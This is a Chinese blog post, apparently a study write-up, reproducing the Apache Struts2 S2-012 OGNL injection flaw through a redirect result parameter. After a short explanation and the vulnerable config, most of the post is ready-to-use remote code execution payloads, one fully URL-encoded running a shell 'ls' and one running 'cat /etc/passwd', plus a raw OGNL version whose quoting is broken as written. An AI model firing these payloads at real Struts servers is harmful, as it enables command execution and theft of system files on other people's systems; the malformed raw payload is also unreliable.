struts2远程S2-012复现学习-优快云博客

S2-012复现

原理：

如果在配置 Action 中 Result 时使用了重定向类型，并且还使用 ${param_name} 作为重定向变量，UserAction 中定义有一个 name 变量，当触发 redirect 类型返回时，Struts2 获取使用 ${name} 获取其值，在这个过程中会对 name 参数的值执行 OGNL 表达式解析，从而可以插入任意 OGNL 表达式导致命令执行。

影响版本：Struts 2.1.0-2.3.13

<package name="S2-012" extends="struts-default">
    <action name="user" class="com.demo.action.UserAction">
        <result name="redirect" type="redirect">/index.jsp?name=${name}</result>
        <result name="input">/index.jsp</result>
        <result name="success">/index.jsp</result>
    </action>
</package>

漏洞搭建

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poc构建

%25%7b%23%61%3d%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%50%72%6f%63%65%73%73%42%75%69%6c%64%65%72%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%5b%5d%7b%22%2f%62%69%6e%2f%62%61%73%68%22%2c%22%2d%63%22%2c%20%22%6c%73%22%7d%29%29%2e%72%65%64%69%72%65%63%74%45%72%72%6f%72%53%74%72%65%61%6d%28%74%72%75%65%29%2e%73%74%61%72%74%28%29%2c%23%62%3d%23%61%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%63%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%23%62%29%2c%23%64%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%23%63%29%2c%23%65%3d%6e%65%77%20%63%68%61%72%5b%35%30%30%30%30%5d%2c%23%64%2e%72%65%61%64%28%23%65%29%2c%23%66%3d%23%63%6f%6e%74%65%78%74%2e%67%65%74%28%22%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%64%69%73%70%61%74%63%68%65%72%2e%48%74%74%70%53%65%72%76%6c%65%74%52%65%73%70%6f%6e%73%65%22%29%2c%23%66%2e%67%65%74%57%72%69%74%65%72%28%29%2e%70%72%69%6e%74%6c%6e%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%23%65%29%29%2c%23%66%2e%67%65%74%57%72%69%74%65%72%28%29%2e%66%6c%75%73%68%28%29%2c%23%66%2e%67%65%74%57%72%69%74%65%72%28%29%2e%63%6c%6f%73%65%28%29%7d

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Poc2：

原始poc：

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"/bin/bash","-c", "ls})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

注：利用此漏洞需要进行url编码

%25%7B#a=(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22cat%22,%20%22/etc/passwd%22%7D)).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new%20java.io.InputStreamReader(#b),#d=new%20java.io.BufferedReader(#c),#e=new%20char%5B50000%5D,#d.read(#e),#f=#context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22),#f.getWriter().println(new%20java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()%7D

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